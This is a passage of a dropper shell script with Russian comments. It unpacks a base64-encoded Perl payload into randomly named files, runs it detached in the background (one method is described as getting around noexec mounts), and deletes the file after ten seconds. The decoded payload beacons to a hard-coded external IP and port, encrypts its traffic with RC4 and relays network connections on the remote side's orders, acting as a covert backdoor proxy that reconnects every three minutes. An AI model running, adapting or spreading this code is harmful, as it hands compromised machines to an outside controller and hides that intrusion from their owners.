CQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_a49f1391() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGl